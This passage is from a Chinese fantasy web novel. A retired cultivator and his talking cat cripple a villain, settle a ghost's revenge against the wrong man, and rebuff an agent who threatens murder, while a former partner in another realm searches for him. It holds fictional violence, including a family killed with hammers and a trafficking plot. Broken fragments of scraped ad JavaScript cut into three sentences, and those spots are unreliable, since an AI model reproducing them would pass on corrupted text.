但不论他怎么哀求都依旧无法阻止那道灵力的前行,钢刀长驱直入,本就不甚稳固的丹田难堪抵挡,瞬间被扎进一个口子! 王康文清晰地感受到自己赖以生存的灵元在飞速外泄,心如刀割的他还没来得及发出哀嚎,又再次遭到重击—— 刺进丹田中的那柄钢刀仍不停手,爆发出强劲的威势,锋锐的剑气在丹田中横扫,犹如闹海的哪吒,搅的天翻地覆,直至灵脉覆灭,丹田崩碎! “啊!” 在一声痛苦的哀嚎声中,王康文停止了挣扎,像一只死狗一样轰然倒地。 然而苦痛远不止于此。 失去了丹田之后,他多年积攒的灵元就像是泄了气的皮球,飞速流失。 而变化最大的,则是王康文的外貌。 那张皮肤白皙、肌肤光滑的脸以肉眼可见地速度衰老、枯萎,不过短短数秒,就已经从一个帅气颇有气质的帅哥变成一个挤满了皱纹褶子的老人。 其他部位、例如手臂、身躯、双腿,也开始萎缩,就像是一只因为过度干涸而枯竭,生命力迅速流逝的朽木! 王康文看着自己皮包骨的手臂,惊愕过后,恐惧爬满了整张脸庞:“不!不!我的脸!我一辈子的心血,全毁了!” 此刻,面前这个男人被这个事实彻底击垮。 系统猫歪着头狐疑问道:“我记得王康文今年才四十五岁吧,这未免也太老了一点,得有七八十了吧?” 陆时神情平静地看完全程后,才抬手拂去那一抹灵力,解释道:“嗯,功法被破,他也遭到了反噬,不仅将夺取来的生命力全部吐了出来,还伤了命脉。” 他平静地道出了后文:“他已命不久矣。” 系统猫却并没有任何的惶恐,反而啧啧叹道:“他作恶多端,还屡次三番敢对你动手,落得这个下场也算是罪有应得,真是大快人心的很!” 陆时嗯了一声算作回应,没有再看地上的王康文一眼,此行的目的已经达到,该是返程的时候。 然而这时,地上沉浸在悲伤愤恨之中的王康文却突然站了起来:“陆时!” “他还想做什么?” 陆时也不知道,转过身,看到的是一脸怨毒和不甘的王康文,压根不用他发问,对方已经一股脑地说了个爽。 “好好好!想我王康文精明了一世,竟然落得个阴沟里翻船的下场!” 他已经对自己身体情况有所了解,却意外地没有感到畏惧,也着实是映照了柳文先前对他的恳求:“王康文他这个人最自恋,报复他的最好方式,就是毁了他那张脸——那比杀了他还叫他难受!” 王康文继续道:“陆时你也别太得意!虽然我不知道你从哪里得来了这个法宝,毁了我丹田和一身修为!但你躲得了一次,躲不了两次!” 陆时挑眉,敏锐地察觉出他话中的含义:“哦?还有人要对付我?” “不错!实话告诉你,你早就被那位大人选中!没了我,也会有别人来对付你,你,是逃不掉的!等着你的下场只有一个,沦为——呃!” 他忽然意识到什么,急忙伸手去捂嘴,但已经太迟了,鲜血从掌心的缝隙中疯狂溢出。 陆时开口,为系统猫解释:“禁制,有人不想他说。” 王康文也试图阻止,但只是徒劳无功,他的瞳孔猛然爆起,倏地前凸仿佛要飞出眼眶。 最后,伴随着一声哀嚎,面朝下栽倒在地上。 “这就死了?” 系统猫从惊讶中回神第一件事情就是看向陆时,担忧道:“陆时,你刚刚怎么不出手阻止啊?他刚刚都说了有人要对付你啊,不问清楚吗?” 陆时摇了摇头。 “没必要。” “啊?” “不用猜,我也大致能猜到。” 他用灵力勾勒出先前引领他进屋的斗篷人身形,低喃道:“是密教的人,王康文只是被指使前来行动的一员。” 上次反响冷淡的系统猫此次在听到它们与袭击陆时扯上关系后,立刻变得愤愤不平:“坏东西,陆时你打算怎么处置他们?” “暂时先放任不管。” “王康文的暴.露已经打草 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊蛇,他们如果有脑子的话,短期之内不会对我动手。” 即便没有,那也没关系。 就算是动手,此刻的陆时也并不畏惧,相反,他会很感激他们自投罗网,省了自己去找人的功夫。 他道:“但愿他们识相吧。” 不等有些话痨的系统猫再问,他一耸肩将它抖进自己怀中揣着就准备离开。 王康文的尸体就这么遗弃在这厂房内。 而陆时刚刚推开大门,却突然一阵劲风朝他面门袭来! “唔?” 陆时眸子微眯,猛然抬手,灵光覆满手掌,他径直撕裂劲风后没留手,直至攥住了行凶的罪魁祸首—— 一个周身缠绕着黑气的恶鬼被攥住了命脉所在,被怒火盖过的理智短暂复苏,急忙大声道:“大爷饶命!小人不是有意冒犯,纯属误伤!” 陆时挑眉,低喃一声:“你的气息,有些熟悉……” 这也是他会在震碎对方灵魄前停手的原因。 这一声很轻,这恶鬼没听清,也不敢问,为证明自己的无辜疯狂解释道:“是的大爷!小人要讨债的人是这个黄毛!” 他伸手一指,陆时抬眼望去,入目是一张熟悉的脸,不是别人,正是之前所见过的刘导孙子,跟他同属一个公司的刘梓旭。 只是此刻,脸还是这张脸,但是神情却从看垃圾的嫌恶变得激动和充满了期盼—— “陆时!救命!” 陆时顺着他炽热的目光将视线停在了……自己攥住男鬼的脖子上,又瞥见对方脖子上掉了一层漆,在噗嗤噗嗤往外冒黑气的choker,立刻明白了发生了什么。 “封印被破坏了,里面恶鬼出来寻仇,但为什么是这里!” 他嘴角一抽,而系统猫提前解答了他心中想问:“真没送错世界,一切都是巧合!” 陆时:。 而见陆时半天没有反应,刘梓旭焦急无比,立刻道:“陆时,只要你替我杀了这个恶鬼,我让爷爷把男一让给你——” 被陆时打断:“我不做演员了。” 刘梓旭急了,立刻道:“那我推荐你去录综艺!我爷爷的人脉非常广,你要上哪一部都可以!” 陆时这次是真有些烦了:“你不懂退休的含义么?” 刘梓旭彻底哑声了,眼中破灭的希望说明他是知道的,只是不甘愿这么死去,对生的渴望迫使他挣扎。 原本在得知二人相识而感到惶恐的恶鬼此刻也意识到陆时并没有插手想法,大喜过望:“大人!求您发发慈悲高抬贵手,让我杀了这个害我全家的歹徒!” 刘梓旭眼中满是祈求,然而,陆时缓缓颔首:“杀人偿命,很合理。” 随即松开了手。 重获自由的恶鬼立刻神色张牙舞爪地冲向刘梓旭的心脏,他要,直取他的命—— “完了!” 刘梓旭害怕地闭上了眼,然而,掏心的疼痛迟迟没有传来,疑惑睁开眼。 却见到了毕生难忘的一幕。 陆时虚点一指定住恶鬼,缓缓道出了下文:“只是你找错人了,他并非害你全家凶手。” 20. 骗子与混蛋(双更合一) “嗯?” 此言一出,原本凶神恶煞的恶鬼神情一滞,旋即斩钉截铁地否认:“这不可能!” 陆时瞥了他一眼,恶鬼被威势所震慑,立刻讲出了自己的依据:“因为那个害了我们全家的人,脖子上就戴着这个脖链!他就是我的仇人!” 刘梓旭也终于弄明白了始末:“你就是因为这个追杀我?” 他欲哭无泪:“你弄错了!我一直遵纪守法,别说杀人,就是开车闯红灯我都不敢……” 然而恶鬼道:“我绝不会认错,因为那是我女儿缠着我要我给她买的礼物!” 陆时一眼就发现了问题所在,出面打断了这场没必要的争执,他首先看向恶鬼:“说说吧,你全家的死是怎么回事?” “是。” 恶鬼将发生在自己身上的一切娓娓道来:“我是一个工人,妻子给我生了一个女儿,我们辛苦的工作,女儿也发愤图强地读书,这种平静的日子直到老师给我们打来电话,说我们的女儿一连几天都旷课……” “我们心急如焚到处找她,以为女儿出了什么事,但是一无所获,就在我们已经绝望的时候,女儿回来了。” “面对我们的质问,她始终缄口不发一言,我们大吵一架,她也不再去上学,我和妻子一直以为是我们逼她太紧,导致她有了心理压力,妻子整日以泪洗面……直到女儿的好友看不下去,告诉了我们真相——女儿消失的那些天都是去追星了。” “那个人是一个乐队的主场,她们有一次周末结伴出去玩的时候去了他们唱歌的地方。我的女儿被他们唱的一首歌打动,就对那个乐队的表演一见倾心,后来,这种感情被延续到主唱身上。” 恶鬼说着,声音气愤:“我也是那时才知道,那半年里,女儿为了追星,省吃俭用,将每天的饭钱生活费全部用来支持那个乐队,甚至……跟他在一起!” “女儿的好友给我看了那个人的照片。染了头粉毛,化着浓重的死人妆,妖里妖气的完全不像是一个好人。我跟女儿说了,但她却认为我是在反驳她的偶像……” 恶鬼的声音变得哽咽,充满了伤痛。 “她还第一次对我动了手。” “这跟你的死因有什么关系?” 问出这个问题的是系统猫,它实在难以理解追星是怎么跟全家的死扯上关系。 “当然有关系!” 恶鬼的声音变得激动:“跟女儿闹掰之后,我就找上了那个粉毛谈心,试图让他离开我女儿,我失败了。” “但那次谈心还是有用处的,女儿虽然依旧跟那个男的在一起,但,也会去学校读书,他也会偶尔上门拜访,带着礼物,就像……” 他最终还是没能将那个词说出来,继续道:“事情好像一切都向着好的方向发展,我们一家人仿佛回到了当初没有闹矛盾之前,就连妻子也劝我接受那个粉毛,可……” 系统猫试探地接话道:“又出意外了?” 恶鬼重重点头,沉浸在回忆里的他完全没有意识到猫会说话有何不妥:“没错,半年后,女儿高考失利,成绩只能够上一所很差的大专。” “而那个粉毛却自称接到了一个国外巡演的机会,说可以供我的女儿去国外读书……” “我当然是不想答应,毕竟那是国外,太远太远了,但妻子却一直拿女儿前途来劝我,最终,我还是准备答应。” “我去找那个粉毛想告诉他这个消息,却意外撞见了他的真面目!他想把女儿带去国外,根本不是为了供女儿读书,而是想卖了女儿——” “国外有个畜生富豪发布悬赏亚洲的女性!而我的女儿,正好符合要求……” 恶鬼声声泣血:“他想骗我的女儿出国,将她卖给那个符号,拿一大笔的佣金!那就是个畜生!我没有看错他!” 已经不用系统猫的催促,沉浸在愤怒中的恶鬼将后来发生的一切悉数说出:“我当时被愤怒冲昏了头脑,冲上前就想要打死这个心死歹毒的混蛋,只是我没有想到,他还有同伙。” “我被制服,这群畜生见到事情败露,就起了杀心。而目标,不止是我一人,还有我的妻子和……女儿。” “他们怕我将这件事情告诉了她们,或者因为我的死让他们遭到怀疑,于是,用我的电话把她们全部骗来,然后……当着我的面,用锤子一下又一下地砸死了他们。” 残忍的死法令系统猫都猛地倒吸一口凉气:“嘶……” “是我害死了她们……”恶鬼的声音悲恸无比,受到情绪波动的影响,其身躯也在开始剧烈颤动:“我恨!我发誓,就是做鬼,也要生啖其肉生饮其血!” “我家祖上跟道沾点边,我记得一个秘法。我舍弃了轮回的机会,将自己的魂寄居在他杀人时沾染了我血的脖链上,夜夜入梦尝试咒杀那个混蛋!” “只是那时我实在太弱,那个混蛋也实在鸡贼,我被一个道门的人彻底封禁在脖链之中一连几年,直到昨天晚上,潜心修行的我终于破开封印,得以向这个杀我全家的畜生复仇!” “他,必须死!” 他猛地爆起,冲向听故事听入迷,以至于感同身受沉浸在气中愤、全然忘了自己是恶鬼眼中寻仇对象的刘梓旭! 而在他利爪洞穿刘梓旭胸膛之前,陆时并指一挥,一股巨力将恶鬼掀飞在地上。 陆时蹙眉道:“都说了,你找错人了。” 恶鬼自是不信,紧咬的牙关剧颤。 陆时没管,只是淡然举例:“理由有三,其一,我虽然不知道你为何会记不住真凶的面貌,但,据你所说,那人是小乐队主唱出身,而刘梓旭则是演员世家。” “背靠他的影帝影后父母和名导爷爷,他是正经科班出身,出道的第一部作品就是电影,虽然扑了,但怎么也沦落不到那种地步。” “呃……” 刘梓旭终于从死亡的威吓下回神,即便知道陆时是在救自己,但仍是止不住地赶到窘迫。 这不是说他资源咖吗…… 他的反应却不在陆时考虑范围之内,继续道:“其二,那条choker,就算他刘梓旭真是凶手,他既然将你封印,还是几年那想必是知道这是你的藏身之所,他又怎么会一直保留?他缺心眼吗?” 原本不忿的恶鬼逐渐陷入了沉思。 “至于其三,你说昨夜你就已然突破封印,可是如今却依然没有杀了刘梓旭,想必是遭到了不少看不见的阻碍吧。” “您怎么知道?” 恶鬼虽然非常不愿,但还是点头承认:“对,他的身上就好像有一道屏障,我无数次攻击都被挡开,用一些间接的手段,也都被他避开……” “就好像上天在帮他一样。” 陆时道:“这是自然,他祖辈都是善人,能让他们唯一的大孙子惨死?” 他抬起手指虚空一点在刘梓旭头顶,顿时,一道金光闪闪的屏障出现在恶鬼眼前。 “自己看吧。” 对道术有所了解的恶鬼立刻意识到这就是刘梓旭能在他手底下活到现在的原因——功德。 他陷入了沉默,但陆时清晰地看到抬起来的手掌放下了,他又转头看向正一脸新奇地看着自己身上金光的刘梓旭:“你脖子上那个东西,还要留着?” 刘梓旭这才意识到脖子上这条自己宝贝无比的脖链上一个主人是杀人犯,尖叫着摘下来后就想扔掉,却发现怎么也甩不掉。 他惊恐地看向陆时:“这、这是怎么回事?” “你中术了,自你戴上它的那一天起,你们就被绑在了一起。” 不等他再发问,陆时就已经将解除的方法徐徐道来:“要么佩戴着身死,要么……找到真凶消除恶鬼的怨气,他自己便会消失。” 刘梓旭听到后半段立刻欣喜异常,急忙说道:“送这条choker给我的人是……” 却被打断。 “不必同我说。” 陆时垂眸,抚摸着系统猫的毛皮的同时,幽幽道:“解决方法告诉你了,怎么做,那是你自己的事。” “陆时!” “墨迹的已经足够久了,该回去了。” 刘梓旭的脸色变得惊恐,然而陆时却再度望向他,他正要生出希望,又被陆时亲自撕碎。 他冷声道:“我不想看到闲杂人等来扰我清净。” 刘梓旭的脸色唰地白了。 他意识到陆时是在勒令他不能将今天撞见的事情说出来,可如果没有人作证,他如果真跟别人说我被鬼盯上了,别人还不把他当傻子? 思索之时,陆时在离开前扫了他一眼:“如果你当我的话只是儿戏,尽可以一试。” 这一句话压下了他所有的蠢蠢欲动。 眼睁睁望着陆时抱猫的身影消失在视野之中,他陷入了绝望:“完了,我完了……” 然而就在这时,身后传来了恶鬼的声音:“我不会再杀你,但,你要帮我复仇。” 刘梓旭立刻想要拒绝:“我告诉你是谁给的,你自己去……” “他身边有道士,天克我!只有你帮我,我才能去取他性命!” 刘梓旭尖叫:“你要不去求陆时——” “能帮的他都已经帮了,求人不如求己这么简单的道理你都不懂吗?” “我不行的!我就是个废物,妈宝男,懒狗……” 他竭力列举自己的缺点,然而他忽略了面前的人是恶鬼,而恶鬼,是不讲道理的! 他眼中鬼气横流:“你不做,那就别怪我缠着你一辈子!” “不——” 回家的陆时,系统猫好奇地问:“你最后跟他那句话,是不是意味着你做了什么后手?” “嗯,下了个禁制。” “禁制?” 系统猫眼前浮现出王康文的惨状,陆时却精准洞穿他心中所想,道:“没那么夸张,只是让他对任何人都无法透露出我的存在而已。” 系统猫松了一口气:“我就知道,陆时你不是那种残暴的人。”又好奇问:“你说刘梓旭会怎么解决那个仇人?” 陆时摇头:“不知道。”也并不关心。 “你不是一直想着退休的吗?怎么现在反倒是比我还热衷于管闲事?” 系统猫如梦初醒:“对哦,我管这些干什么。”它认真思索后,试图找出一个答案:“大概,是还没适应吧。” “没适应么?” 系统猫点头:“是的,总感觉,跟我们在元初界做任务时,也没有两样……”又不迭改口:“啊,可能是我上班上了太久,现在突然退休在家,导致思维一时间没有转过来。” 陆时眼中陷入思考。 两人沿着原路回到了榕城新寓,然而陆时却始终没有拿钥匙开门,系统猫意识到什么,回头看去,走廊尽头阴影中缓步走出一个人影。 不是别人,正是今早见过的欢都娱乐经纪人林彤。 只是此刻她已经没有了半点作为那个金牌经纪人意气风发的模样,衣衫凌乱、裙子上带着大片的灰尘污渍,脸上也没有了自信。 畏惧、惶恐、愤恨……这些属于失败者的情绪在她脸上齐聚一堂。 她开口,声音晦涩:“公司账目被举报,是你干的!对不对!” 陆时没有否认:“是又如何?” “我就知道!你就是一头养不熟的白眼狼!” 林彤发出尖锐的指责,然而陆时没有说什么。看向林彤的目光并没有愤怒,对方早就已经失去了这个资格。 “说完了吗?那就从我家门口离开。” 平静的语气瞬间点燃了林彤的怒火:“我对你那么好,把小白的你签回来,付出资源卖力捧你,给你找门路牵线搭桥,结果你不懂感恩就算了,竟然还用这种方法报复我——” 陆时蹙眉,冷声打断:“一份同事勾心斗角,以身体为代价去换取外部资源,怎么都算不上优良的工作在你眼里竟然等同再造之恩?” “你自己都不觉得这个借口蹩脚?还是说,这已经是你绞尽脑汁、深思熟虑半天想出的托词?” 林彤瞳孔一缩,被精准踩中了痛点的她恼羞成怒,抄起了手中的文件夹,对着陆时砸了过去:“闭嘴!” 陆时神情骤冷,伸手抓住了她扔来的文件夹。 林彤立刻说道:“陆时,你以为举报了公司我就能拿你没有办法了吗?你跟公司签订的合同上可是清楚地记载,不论任何情况都不得作出损毁公司利益的事情,否则公司造成的损失,公司有权向你发出十倍索赔!” 陆时点头:“是有这么一条。” 听到陆时承认,林彤就像是彻底达成目的一样,面色狰狞,眼神歹毒:“你害公司损失了四亿,就算你真的继承了五十万克黄金的遗产,你也赔不起——” “公司绝不会放过你,我也是!我要你余生为今日的举动赔罪!” 陆时不急不缓继续说道:“但你好像忘了一个前提,合同的条款若是与国家法律相互违背,那便会自动失去约束效应。” “环都娱乐偷税漏税真假,你应该不会不知道?” 林彤眼中闪过一丝慌张。 “看来是知道。” 陆时继续道:“而且我记得我当初跟你签合同时附赠过一个条款?合同不止对我,对甲方同样有约束力。” 林彤睁大了眼,大概是想起了遥远的记忆,身体开始发颤。 “换言之,等税务局给环都娱乐下达处罚令的那一刻,我就有权可以向法院主张申请索赔,毕竟经纪公司犯法,对旗下演员会造成恶劣影响不是么?” “就算只按我年平均收入作为参考,每年五百万,我主张40%的波动幅度,也就是单年二百万。法院必定会支持,十倍赔偿就是单年两千万,而我们的经纪合约可还有十年,也就是……” “两亿。” 这个数字说出口的那一刻,林彤颤抖的幅度就越大。 “环都娱乐正在跟背后资本对赌吧?刚被罚了4亿,还有钱支付我的违约金么?” 当然没有! 损失了四亿已经让上面的人无比气愤,追责到了她投上,她刺来就是为了拿下陆时给上面人一个交代。 结果事情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没办成,还因为她当初的一时疏忽,又害得公司面临两亿的损失,这件事如果报上去,她绝对不会有好下场! 林彤慌了,她此刻脑海中只有一个想法——不惜一切代价要封住陆时的嘴! 她冷声威胁道:“陆时,我说过,有些钱,你有命拿,没命花!我告诉你陆时,黑市上雇佣一个专业的杀手只要四百万,而一个家人遭遇绝症、弹尽粮绝的大车司机的价格只是一张医院的付款单。” 陆时笑了:“你在威胁我?” “陆时,识相点,对你我都好。” 陆时没有跟她继续废话,而是当着她的面召出灵力,立时凌厉的剑光将文件夹绞碎成无数微末细小的碎末—— “这、这是什么鬼东西!为什么会碎!” 在林彤骤然惊恐地目光中,陆时松开了手,任由掌心中的纸沙飘散的同时,冷声道:“你如果想玩特别的手段,那我不介意陪你玩玩,但你要做好把自己性命押上赌桌的打算。” 他的威势太盛。 “是你干的!” 林彤终于将这神秘的手段跟面前的陆时联系在一起,顿时,如同一盆冰水从头顶浇落,将林彤充盈的怒火彻底浇灭,取而代之的是恐惧。 “还不算太蠢。” 她被吓得双腿一软,跌在地上瑟瑟发抖:“别、别过来。” 陆时抬手,冷冷道:“不要再让我说第二遍,滚出我的视野。” 林彤头也不回地跑了,此刻她连怨恨都已没有胆量挂在脸上。 系统猫鄙夷的收回了目光,总结道:“又菜又爱玩,真是不长眼。不过陆时你刚刚这一手真是帅呆了,吓完再给一个禁制,让她说不出口,真是解气。” 陆时却道:“我没给她下禁制。” “啊?你就不怕她到处乱说?” 陆时眼中浮现出狠意:“那只会让人以为她疯了,而疯子,没有利用价值。好了,她们两边算是解决了,剩下的,就只有我的好叔叔那边了。” 话音未落,手机上适时传来了微信的提示音。 “嗯?” 发信的则是一个来往并不密切的亲戚,陆时忽然想到了什么,解锁查看具体内容,看完后,他笑了。 系统猫好奇:“怎么了陆时?” “真应了那句因果报应。” 他将手机递给系统猫,对方好奇看去,当看清发生了什么后,倏地睁大了猫眼:“你叔因为你那个表哥的事情跟你婶打架,还输了,被捅成重伤现在还在急救?你婶也被刑拘?来向你借钱。” 它无语地将手机还给了陆时:“这都什么事啊……” 陆时接过后,将信息连同对方联系方式一起删掉,然后道:“算了,看来短时间之内是讨债不得了。” 陆时环顾自己称得上算是空寂的房屋,脑中回想起了系统猫先前有关不适应的吐槽,陷入了凝思。 许久后,他忽然毫无征兆地发出提议:“统,环游世界去么?” 系统猫都惊了:“环游世界?啊?你为什么会突然这么想?” 陆时答道:“你刚刚说的很有道理,得做点什么把心态转变回来,退休就得有退休的样子。” 他找了几个博主,将他们拍到的美景给系统猫看:“去到处看看风景,吹吹无忧无虑的海风,算是个不错的选择吧?” 系统猫肉垫扒拉在那海上落日、雪山冰光的绝景上,豪迈一点头:“可!” 它又问:“怎么去啊?” 陆时想了想,道:“自驾吧,累了还能御剑,不怕人看到。” “陆时你想的真周到!”夸赞完,又觉得不对:“陆时,你有车吗?” 陆时一愣:“还没,你提醒我了,得去提辆车。” 他打开了地图,去了最近一家汽车品牌的4s店,爽快地定了一辆现车。 刷卡做合同,被带去上牌期间,销售随口问道:“先生用车场景主要是哪块呢?商务接待,还是?” 陆时道:“自驾。” “哦哦,请问您的目的地是哪里呢?我们的管家可以为您安排线路……” 陆时想了想,给了一个初步的方案:“先开到莫斯科?再从那边进入西欧……” “陆先生,请过来拍照。” “嗯。” 陆时离席,独留销售看着自己手里三叉星辉的车钥匙陷入了良久的沉默:“迈巴赫……自驾环球?好小众的搭配。” 这趟旅行就这么草草地开始了。 而返程的时间,却远超陆时的预期。 两年后,南极洲。 一辆挂着丑陋蓝牌的黑色高级车在飞速狂奔,而主驾驶坐上却不见驾驶的人影—— 系统猫拼命拉长自己身体,以让肉垫能扒稳方向盘的同时让脚尽可能的把油门踩进邮箱里提速再提速。 这颗大v8心脏爆发出了它的全部实力,200多的时速在雪原上一骑绝尘。 同时系统猫不时回望蜷缩在后座航空座椅上的青年,出言安慰:“陆时,你再忍忍,只有10公里就回御灵阵了,到那儿再生啊!” 它气愤道:“早知道就不该听你那今天不会生,被撺掇过来海岸线上搞什么磷虾新鲜烧烤了!靠!一出门就坏事!这个世界就是一个巨大的薛定谔定理!” 陆时咬紧牙关,苦笑道:“是墨菲……” “别说了,你再撑撑!” “知道了……” 陆时捂住了小腹,感受着掌心下强劲跳动的心脏,面露欣慰的同时也有苦笑:“小东西,跟你那个混蛋爹一个样子,闹腾的厉害……” 灵府旧伤被触动,剧痛令陆时闭上眼,也不知是不是自己提到的缘故,那张早已被他遗忘的的面庞出现在他面前。 “封……烬?” 望着闭眼盘腿像是在打坐的青年英武的面容,被折磨的翻来覆去的陆时忽然有些不爽。 他伸出手,在他的脸颊上报复性地狠狠拧了一把。 嗡。 眼前人忽然睁开眼,血红色眸光灼灼滚烫,却还没触及到陆时身上,这道虚影就辱水中月,啪的一声骤然碎裂。 陆时却顿感快意:“活该,大混蛋,要你当初非要在里面……” 未尽的话被疼痛的闷哼盖过。 许久,他听到系统如释重负高喊:“我们到了!陆时!” “嗯……” 自以为只是幻觉一场的陆时并不知道,元初界,那个坐拥一界、最尊贵的青年毫无风度地找遍了寄遥殿每一处。 仍是不得见,又将天诛宗翻了个遍,连一块石头下的细小空隙都没有放过…… 直到接受一无所获的事实。 封烬沉着脸进了寄遥殿,解开层层法阵的庇护,而这用仙道大阵守护之物却令人大跌眼镜。 是两个酒坛。 只是一个空了,而另一个,也所剩无几。 封烬却并没有喝,而是看着它们。嗅着空气中那缥缈的浓郁酒香,又不可避免地浮现出那堪称沉痛的回忆。 “明明说只此一坛的,骗子……” 21. 向你赔罪 “宗主……” 殿门外忽然传来了瑟缩的低喃声,封烬连头都没回,冷冷说道:“滚出去。” 但那道人影却在犹豫片刻后,不仅没有后退,反而向前一步迈进大殿,双目炯炯盯着封烬,像是以此表明自己决心。 这果然惹怒了封烬。 仙境之威释放,铺天盖地的威压席卷而来,来人被死死压垮了脊背—— 封烬起身,神情冷峻,目光冰凉:“不夹紧尾巴待在你的居所,还敢出现在本座面前,怎么,你真当本座不敢杀你么?叶微桐。” 来人正是正道视为救世主的圣女,只是此刻她再没有半分高居神台的圣洁模样。 以往繁复的白裙换成了一身凡常的修士装扮,步摇、发钗层层堆叠的头饰也被取下,一根红绳包揽了所有。 可以说,如今的她比起先前还在正道时更像修士,以及一个人而非不食烟火的神像。 而这一切,全拜封烬所赐。 叶微桐并不是盛怒中封烬的对手,纵然经过这些年的修炼,她凭借着俱佳的天赋力压赛乃慕和天诛宗英豪,以及仙门天才,成为这当世第一人,但仍是连封烬不经意流露的威压都难以承受—— 仙与人仅一次之差,横亘其中的间隙,却如同天堑。 她的脊背被压弯,脊骨咯咯作响。 但纵然狼狈至此,叶微桐眼里也并无憎恨,相反,还有自责与怜悯。 她不仅没有求饶,反倒是艰难迎着封烬的目光,一字又一字地问道:“距巡天之役无果、宗主您闭关至今,已有三百年。” 叶微桐眼前又浮现出久远的回忆。 当陆时以自己的命助力封烬成仙消息传来的那一刻,她就意识到自己的计划出现了重大偏差。 她犯了一个天大的错误,而这个错误招致的后果,很有可能令整个元初界都万劫不复。 无人比她更清楚看似理智克制的封烬心底究竟隐藏着多强烈的偏执—— 一头失去了拴住理智枷锁、且拥有匹敌整个世界的强衡实力的恶兽会作出什么事,无人能够预测。 当时的叶微桐自知已无法阻止,权衡利弊后飞速作出了决定,将罪责全部揽在自己身上,以自己平息他的怒火。 结果显而易见,她不仅失败了,还败的彻底。 叶微桐至今仍是能够清晰记得,当初理智全消的封烬只差一点就能将她神魂绞碎时,心口一道微弱的灵光浮现,像是风暴中飘扬的一道野草,仿佛随处都会被连根拔起。 然而风暴本身的封烬,却在瞥见它的那一刻骤然卸去了所有力道。 坠地的叶微桐不明所以,直到听到封烬那近乎偏执的呢喃,才算知晓了原因:“陆时,你不允,我不杀她了,你不要走好不好……” 可不论他如何卑微的祈求,那一抹灵光在发挥它应有的效用后开始消散。 但叶微桐却洞悉了封烬的呢喃,那是在陆时带她逃婚被抓包在封烬质问此行用意时,他仅有的退让。 当时的叶微桐不以为意,却没想到陆时会特地留下一道微末灵识附在她身上,而这却成了如今救她一命的稻草。 她远远低估了陆时对这头恶龙的影响,也迟来的意识到陆时并非她眼中可以用以牵制封烬这头恶兽好用的工具。 他是一个活生生的人。 是她的算计、她的自负,亲手将他推向了死亡。 汹涌的愧疚浪潮吞没了叶微桐,她生平第一次对圣女的身份产生了质疑。 这也是她会在后来封烬遍寻九州四海,为复活陆时寻觅方法时,会鼎力相助的原因。 那两百年间,整个元初界各大宗门都亲眼见识到了封烬的疯狂。 反是有能复活死人或是寻觅灵魂法宝、秘法、丹药的宗门,封烬无一不曾莅临。 也有宗门拼死抵御,而留给他们的结局便是从天机阁统计宗门的名录上永久消亡。 史称,巡天之役。 但直到叶微桐看到被心魔摧残的遍体鳞伤,却仍是不肯放弃的封烬时。 她才意识到,封烬他不是不知道,只是,不愿接受这个事实。 当封烬将整个元初界的灵宝搜刮一空后,他才堪堪停下了这疯狂的举动,又用了一百年,他才终于接受了陆时逝去的事实。 却不代表他能放下。 叶微桐压下回忆,顶着封烬极具压迫感的视线,继续说道:“这些年间,连倾天大劫您都未曾出面阻止,而如今天下太平,您却毫无征兆地出关,且一来便是寻遍天诛宗……” “您是感知到平念尊的存在了,对不对?” 封烬什么都没说,但涌动的灵力昭示他此刻已经确切地起了杀心。 然而,在他出手之前,叶微桐却先一步说道:“这很可能不是您的错觉,平念尊他可能真的没死……” 封烬倏地停手。 自然不是他信了这么荒谬的理论,而是被最后一句打动,任何微末的希望对于穷途末路的他而言,都绝不会被无视。 “理由。” 叶微桐没有卖关子,直接道:“我仔细回忆了和平念尊相处的所有过往,分析了他所说过的每一句话,最终,我得出了一个结论。” 她抬起头,坚定地看着封烬:“平念尊,他可能不是元初界的人。” 封烬想也不想就否认道:“不可能,陆时的身世我比你清楚,他是中州源城陆家次子。” 记忆这种东西就像是洪水,开闸后,就没完没了地涌了出来。 封烬继续道:“他因自身灵根不适配家族传承的秘法,所以自小不受家族待见,最后在十三岁那年离开陆家试图求仙问道,却在途中遭遇陷阱,被收养我的老道士所救,后指点他入剑门。” “十五后,我遭遇同门算计,是他在得知我的身世后,前来助我……” 然而叶微桐却打断深信不疑的封烬:“错了,都错了。” “恕我无礼,我曾仔细查询过平念尊的身世,问过无数跟平念尊打过焦急的人,也翻阅过源城陆家的族谱,最终得出的真相却与宗主您所说的……大相径庭。” “对不上?” 封烬也愣住了,他难以置信地说道,“这明明是陆时亲口告知……” 叶微桐不卑不亢地打断:“平念尊不被陆家所待见的原因不是他灵根不适配,而是因为他的灵根被毁了。” 封烬猛地起身:“你说什么?” “源城陆家当时习得是术法之道,而平念尊五岁之际 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就已展露出俱佳的符文天赋。长老进行测评,发现平念尊的天赋远胜陆家历代先祖。” “家族中所有人都在期盼他八岁觉醒灵力的那一天到来,期盼他引领陆家更进一步。但在测试前夕,他中了一种毒,导致未发育完成的灵根尽毁。” “后经过查证,是陆家当家的主母害怕他抢走自己嫡子的一切,痛下毒手……” 叶微桐看向封烬,缓缓道出下文:“灵根被毁,虽可以修复,但要亲自剐去废骨,辅以数十种带有剧毒的灵物催生新骨,直至新骨长全。” “这个时间,极为漫长。” 她没有再说,而是直接拿出了一个储物的玉石,颤巍巍地打开之后,里面存储的东西浮现在封烬眼前。 那是无数张拍卖行的出货记录,泛黄的纸张彰显了它的久远,而清单上所列举的药材名录,和修复灵根所用的灵物分毫不差。 而出手人一栏中填写的名字不属于一种元初界的语言,但封烬却一眼认出,那就是陆时的字迹—— 他曾问过陆时这是否是他的私印,而对方当时则是随口回道一句:“是我的英文签名……” 当时的封烬以为是自己孤陋寡闻,当英文是某种不为人知的小众语言,直到如今叶微桐再次提及,他才终于意识到了不对。 而这种微小的不对,陆时的身上还有很多。 时不时哼出的异域小调、闻所未闻的食材处理方式、以及种种器具的称呼…… 对陆时所说的一切都坚信不疑的封烬不可避免产生了动摇。 叶微桐再次重重推了他一把:“平念尊离开家的时间不是十三岁,而是十岁。在离开陆家之后,他就在边城开了一家酒铺,并用酒铺经营所得找拍卖所购买食用重生灵骨的毒药,从拍卖行的订货记录可以看出,足足有六年之久……” “所以根本不存在平念尊被您师尊相救、引入道途仙门的可能!” 